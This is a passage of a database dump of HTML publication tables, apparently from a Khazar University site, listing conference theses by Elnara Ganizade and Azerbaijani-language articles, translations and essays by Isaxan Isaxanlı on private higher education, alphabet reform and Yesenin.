width=\"59\"><p>&nbsp;</p></td></tr></tbody></table>  <br></div>'),(900,594,'en','Elnara Ganizade','Elnara Ganizade','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"204\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"144\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"66\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"59\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>“Problems and achievements in preschool areas the last five years”</p></td><td width=\"97\"><p>Thesis</p></td><td width=\"125\"><p>Elnara Ganizade</p></td><td width=\"144\"><p>Conference,&nbsp;&nbsp; Baku, Azerbaijan,</p></td><td width=\"66\"><p>July, 2-3, 2002</p></td><td width=\"59\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Legislation, Policy, and Practices that support Inclusive Education in Azerbaijan”,&nbsp;</p></td><td width=\"97\"><p>Thesis</p></td><td width=\"125\"><p>Elnara Ganizade</p></td><td width=\"144\"><p>ISSA Conference,Bratislava</p></td><td width=\"66\"><p>October 25-28, 2006&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p></td><td width=\"59\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Inclusive Education Initiatives in Azerbaijan”</p></td><td width=\"97\"><p>Thesis</p></td><td width=\"125\"><p>Elnara Ganizade</p></td><td width=\"144\"><p>ISSA, International Conference,&nbsp; Vilnius</p></td><td width=\"66\"><p>November 29-30,2007</p></td><td width=\"59\"><p>&nbsp;</p></td></tr></tbody></table>  <br></div>'),(901,595,'az',' Isaxan Isaxanlı',' Isaxan Isaxanlı','<div><br></div><div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><div><p>İsaxan İsaxanlının elmi nəşrləri</p><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"30\"><p>&nbsp;</p><p>#</p></td><td width=\"186\"><p><strong>İşin adı</strong></p></td><td width=\"114\"><p><strong>İşin növü</strong></p><p>&nbsp;</p></td><td width=\"89\"><p><strong>Müəlliflər</strong></p></td><td width=\"217\"><p><strong>Nəşriyyat,jurnal və s.adı</strong></p></td><td width=\"53\"><p><strong>ili</strong></p></td><td width=\"43\"><p><strong>İşin həcmi</strong></p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Dövlətlə özəl təhsìl ara­sında münasìbətdə DAEK-ìn (Dövlət Alì Ekspert komìssìyası) rolu</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Aspirantların və gənc tətqiqatçların respublika elmi konfrans. II cild, Azərbaycan Respublikası Təhsil Nazirliyi</p><p><strong>&nbsp;</strong></p></td><td width=\"53\"><p>11-12 fevral, 1998-ci il</p></td><td width=\"43\"><p>Səh 59-61</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Təhsilin seçmə prinsipləri</p></td><td width=\"114\"><p>Konfrans materìallarí</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Qafqaz: tarix, müasirlik və geosiyasi perspektivlər” konfransı, Bakı Dövlət Universiteti</p></td><td width=\"53\"><p>15 aprel 1998</p></td><td width=\"43\"><p>Səh.230-232</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Azərbaycan ali təhsilində süzgəc prosesi</p><p>&nbsp;</p></td><td width=\"114\"><p>Ali məktəblərarası tematìk məcmuə</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası Təhsil Nazirliyi və M.F.Axundov adına Rus Dili və Ədəbiyyatı&nbsp; İnstitutu. Bakı</p></td><td width=\"53\"><p>1998</p></td><td width=\"43\"><p>4-cü buraxılış,Səh.70-77.</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Azərbaycanda özəl təhsilin yarnma zəruriliyi haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Aspirantların və gənc tədqiqatçıların respublika elmi konfransı, II cild</p><p>Azərbaycan Respublikası Təhsil Nazirliyi.</p></td><td width=\"53\"><p>23-24 fevral 1999-cu il</p></td><td width=\"43\"><p>Səh.101-102</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>1918-1920-ci illərdə Azərbaycanda təhsilinin inkişafına dair</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası Təhsil Nazirliyi və Azərbaycan EA-nın birgə keçirdiyi Gənc Alim­lərin Azərbaycan Xalq Cümhuriyyətinin 80 illik yubileyinə həsr edilmiş ümumrespublika elmi konfransí</p><p>Bakı– Elm</p></td><td width=\"53\"><p>1999</p></td><td width=\"43\"><p>Səh.73-74</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Factors Related the Selec­tion process at the state and private Univer­sities.</p><p>T&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The Positive and negative of &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sides&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; centralization</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Journal of Azerbaijani Studies, Volume 2, number 2. Khazar University, Baku, Azerbaijan</p></td><td width=\"53\"><p>191999</p><p>&nbsp;</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Bəlkə də Los-Ancelesin ən gözəl yeri elə UCLA-dir.</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-xəbər, № 64, -cu il. Xəzər Universitəsi</p><p>&nbsp;</p></td><td width=\"53\"><p>3 aprel 1999</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Özəl alì məktəblərdə kadr hazírlığının bəzi xüsusìyyətlərì</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Humanitar elmlərin öyrənilməsinin aktual problem­ləri, ali məktəblərarası elmi, səh.37-39.. Azərbaycan Respub­likası Təhsil Nazirliyi və M.F.Axundov adına Rus Dili və Ədəbiyyatı İnstitutu. Bakı-mütərcim.</p><p>&nbsp;</p></td><td width=\"53\"><p>1-2 mart 2000-ci il</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Azərbaycanda özəl ali təhsìlìn bə`zi xüsusìyyətləri</p><p>&nbsp;</p></td><td width=\"114\"><p>Ali məktəblərarası tematìk məcmuə, II buraxılış.</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası&nbsp; Təhsil Nazirliyi və M.F.Axundov adına Rus Dili və&nbsp; Ədəbiyyatı İnstitutu. Bakı-mütərcim</p></td><td width=\"53\"><p>25 aprel,&nbsp; 2000-ci&nbsp; il</p></td><td width=\"43\"><p>Səh.173-182</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Özəl alì məktəblərdə məzunluq dìplomlarının verìlməsinə dair</p><p>&nbsp;</p></td><td width=\"114\"><p>Ali məktəblərarası tematik məcmuə, II buraxı­lış</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası&nbsp; Təhsil Nazirliyi və M.F.Axundov adına Rus Dili və&nbsp; Ədəbiyyatı İnstitutu. Bakı-mütərcim</p></td><td width=\"53\"><p>25 aprel, 2000-ci&nbsp; il</p></td><td width=\"43\"><p>Səh.182-184</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Basis and continuation of Private education in Azerbaijan</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>6<sup>th</sup>&nbsp;Nordic Baltic Conference in Regional Science “Nordic-Baltic Sea Region on the eve of the 21<sup>st</sup>Century”; Riga, Latvia.</p><p>&nbsp;</p></td><td width=\"53\"><p>October&nbsp; 4-7, 2000</p></td><td width=\"43\"><p>page 55-58</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Azərbaycanda özəl ali təhsilin yaranması və inkişaf yolları &nbsp;haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>AMEA Fəlsəfə və siyasi-hüquq tədqiqatlar institutu, “Politologiya” şöbəsi sosial-siyasi problemlər ( elmi məqalələr toplusu), 9-cu buraxılış</p></td><td width=\"53\"><p>Bakı- 2003</p></td><td width=\"43\"><p>Səh.32-36</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Fərhad Ağazadə və latın əlifbasına keçid</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Journal of Azerbaijani studies. Volume 6, numbers 3-4; Khazar University, Baku, Azerbaijan,</p></td><td width=\"53\"><p>2003</p></td><td width=\"43\"><p>p. 14-72</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Azərbaycanda özəl ali məktəblərə tələbə qəbulu haqqında</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Təhsil” cəmiyyəti, “Bilgi” dərgisi, Təhsil-Mədəniyyət-İncəsənət, Elmi-nəzəri və metodik jurnal, №3(15)</p></td><td width=\"53\"><p>Bakı-2003</p></td><td width=\"43\"><p>Səh.37-40.</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Azərbaycanda tələbələrə və özəl ali məktəblərə dövlət yardım proqramları haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; tezisləri</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası Gənclər, İdman və Turizm Nazirliyi, Bakı</p></td><td width=\"53\"><p>2003</p></td><td width=\"43\"><p>Səh.58-60</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Tələbələrə və özəl ali məktəblərə dövlət yardım proqramlarına dünya təcrübəsi müstəvisindən baxış</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>« Qloballaşma və Azərbaycanda təhsilin aktual problemləri». Beynəlxalq elmi-praktik konfrans. &nbsp;Azərbaycan Beynəlxalq Universiteti.</p><p>«Beynəlxalq Universitet» nəşriyyat və poliqrafiya mərkəzi, 2003</p></td><td width=\"53\"><p>2003</p></td><td width=\"43\"><p>Səh.124-126</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>K.D. Uşinski təlim-tərbiyə prosesində&nbsp; əyanilik,</p><p>sistemlilik və əməyin rolu haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>K. D. Uşinskinin anadan olmasının 180 illiyinə həsr edilmiş elmi konfrans materialı</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Beynəlxalq Universiteti. «Beynəlxalq Universitet» nəşriyyat və poliqrafiya mərkəzi</p></td><td width=\"53\"><p>24 dekabr 2004-cü il</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>«Tələbələrin biliyinin qiymətləndirilməsinin çoxballı sistemi haqqında əsasnamə»yə dair bəzi mülahizələr</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Təhsil” cəmiyyəti, “Bilgi” dərgisi, Təhsil-Mədəniyyət-İncəsənət, Elmi-nəzəri və metodik jurnal, №4 (20). Bakı</p></td><td width=\"53\"><p>2004</p></td><td width=\"43\"><p>Səh.3-6</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Akademik&nbsp; Hüseyn &nbsp;Əhmədov haqqında.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Bakı, Təhsil</p></td><td width=\"53\"><p>2004</p></td><td width=\"43\"><p>Səh.197</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Azərbaycanda özəl ali məktəblərə tələbə qəbulunun bəzi aspektləri</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Journal of Azerbaijani studies. Volume 6, numbers 3-4; Khazar University, Baku, Azerbaijan</p></td><td width=\"53\"><p>2003</p></td><td width=\"43\"><p>p. 3-61</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Azərbaycanda latın əlifbasına keçid.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>«Təhsil» cəmiyyəti, «Bilgi» dərgisi, Təhsil-Mədəniyyət-İncəsənət, Elmi-nəzəri və metodik curnal, № 3-4, Bakı</p></td><td width=\"53\"><p>2005</p></td><td width=\"43\"><p>Səh.38-49.</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Azərbaycanda latın əlifbasına keçid. Tarixə qısa baxış və Fərhad Ağazadə</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər Xəbər, (curnal) №№ 197, 198, 199,&nbsp; Xəzər Universitəsi</p></td><td width=\"53\"><p>noyabr, dekabr 2005</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Azərbaycan Yeni Türk Əlifba Komitəsi və savadsızlığın ləğv edilməsi kampaniyası</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər Xəbər, (curnal) № 218 , Xəzər Universitəsi</p></td><td width=\"53\"><p>15 noyabr 2006</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Yeni tədris iliniz mübarək.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 253, Xəzər Universitəsi</p><p>&nbsp;</p></td><td width=\"53\"><p>15 sentyabr 2008</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>25 məzunluq təntənəsi: Fərəhli nəticələr.</p><p>&nbsp;</p></td><td width=\"114\"><p>Lamiyə Namazova</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal) № 255, Xəzər Universitəsi.</p><p>&nbsp;</p></td><td width=\"53\"><p>15 oktyabr 2008.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Məzunlarımız rəqəmlərdə: 31-dən 1342-yə qədər.Xəzər</p></td><td width=\"114\"><p>Lamiyə Namazova</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəbər, (curnal)&nbsp; № 257, 15 Xəzər Universitəsi.</p></td><td width=\"53\"><p>noyabr 2008.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Məzunlarımız arasında əcnəbilərin yeri</p></td><td width=\"114\"><p>Lamiyə Namazova</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal) № 259, Xəzər Universitəsi.</p></td><td width=\"53\"><p>15 dekabr 2008.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Yüksək səviyyəli kadrların işə cəlb edilməsinin bəzi məqamları.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 262 Xəzər Universitəsi</p></td><td width=\"53\"><p>31 yanvar 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Əcnəbi tələbələrin cəlb edilməsi: dünyada gedən proseslər.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 264, Xəzər Universitəsi</p><p>&nbsp;</p></td><td width=\"53\"><p>28 fevral 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Hər şeyi unutduran təbəssüm.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 265, Xəzər Universitəsi</p></td><td width=\"53\"><p>15 mart 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Qəbul imtahanlarında topladığı bal tələbənin səviyyəsi haqqında ilkin fikir yürütmək üçün əsas mənbədir.</p></td><td width=\"114\"><p>Lamiyə Namazova&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal) № 267,. Xəzər Universitəsi.</p><p>&nbsp;</p></td><td width=\"53\"><p>15 aprel 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Biliyin qiymətləndirilməsinin 100 ballıq sistemi haqqında bəzi mülahizələr.</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Journal of Azerbaijani studies. Volume 10, numbers 3-4; Volume 11, numbers 1-4; Volume 12, numbers 1-2; The international symposium “Modern developmental trends and Turkic world”,</p></td><td width=\"53\"><p>29-31 may, 2009</p></td><td width=\"43\"><p>p. 199-203</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Şeir gülüstanının təkrarolunmaz çiçəyi – Sergey Yesenin</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 270 Xəzər Universitəsi</p><p>&nbsp;</p></td><td width=\"53\"><p>31 may 2009.</p></td><td width=\"43\"><p>Səh.16-26. 31 may 2009</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Anama məktub, Axşam, “İran nəğmələri”ndən.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal) № 270. Xəzər Universitəsi</p></td><td width=\"53\"><p>31 may 2009</p></td><td width=\"43\"><p>Səh.27-28</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Klassik rus poeziyasından tərcümələr.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>//“Bizim lider” qəzeti, № 09 (60)</p></td><td width=\"53\"><p>18 iyul 2009-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Klassik rus poeziyasından tərcümələr.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>//“Bizim lider” qəzeti, № 10 (61),</p></td><td width=\"53\"><p>4 sentyabr 2009-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Yeni dərs iliniz mübarək.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 273</p></td><td width=\"53\"><p>15 sentyabr 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Yeseninin vətənində.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 273</p></td><td width=\"53\"><p>15 sentyabr 2009.</p></td><td width=\"43\"><p>Səh.22-26.</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Yesenin poeziyasından tərcümələr</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; 27. Xəzər Universitəsi</p></td><td width=\"53\"><p>15 sentyabr 2009.</p></td><td width=\"43\"><p>№ 273 Səh.</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Mən onu necə görmüşəm. (Serqey Yesenin haqqında xatirələrim)</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Bizim lider” qəzeti, № 12 (63), və “Bizim fakt” qəzeti, № 1 (01),</p><p>&nbsp;</p></td><td width=\"53\"><p>12 oktyabar 2009-su il 3-18 dekabr 2009-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Yesenin poeziyasından tərcümələr</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Bizim lider” qəzeti, № 12 (63), və “Bizim fakt” qəzeti, № 1 (01),</p><p>&nbsp;</p></td><td width=\"53\"><p>12 oktyabar 2009-su il 3-18 dekabr 2009-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>«Proşay,&nbsp; Baku!»</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 275</p></td><td width=\"53\"><p>15 oktyabr 2009</p></td><td width=\"43\"><p>Səh.14-19</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Yesenin poeziyasından tərcümələr</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 275</p></td><td width=\"53\"><p>15 oktyabr 2009</p></td><td width=\"43\"><p>Səh.19</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>80 yaşlı cavan aşıq - Aslan Kosalı</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Avropa” nəşriyyatı.&nbsp; Bakı.</p></td><td width=\"53\"><p>2009</p></td><td width=\"43\"><p>Səh.170-172</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Tələbələr tələbələrin gözü və sözü ilə</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 277</p></td><td width=\"53\"><p>15 noyabr 2009</p></td><td width=\"43\"><p>Səh.10-13.</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>«Do svidanğə, druq moy, do svidanğə».</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 280</p></td><td width=\"53\"><p>31 dekabr 2009</p></td><td width=\"43\"><p>Səh.12-18</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Kİm deyir ki, əvəzedilməz insan yoxdur?</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər (curnal), aylıq dərgi, № 282</p></td><td width=\"53\"><p>fevral 2010</p></td><td width=\"43\"><p>Səh.14-15</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Bir şeirin iki tərcüməsi haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Yeni dövr” qəzeti, № 49 (347)</p></td><td width=\"53\"><p>19 mart 2010-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Yesenindən tərcümələrə dair: Bir şeirin üç tərcüməsi</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Bizim fakt” qəzeti, № 04 (06)</p></td><td width=\"53\"><p>1-8 aprel 2010-cu il</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Bir “metro səyahətim”dən doğan təəssüratlarım</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Xəzər Xəbər” jurnalı, aylıq dərgi, № 285</p></td><td width=\"53\"><p>may, 2010</p></td><td width=\"43\"><p>Səh.17-18.</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Fərhad Ağazadə və latın əlifbasına keçid (Fərhad Ağazadənin anadan olmasının 130 illiyinə həsr edilir)</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Kredo” qəzeti, № 27</p></td><td width=\"53\"><p>26 iyun 2010-cu il</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"30\"><ol><li>&nbsp;</li></ol></td><td width=\"186\"><p>Şeir gülüstanının təkrarolunmaz çiçəyi – Serqey Yesenin</p></td><td width=\"114\"><p>Kitab</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td 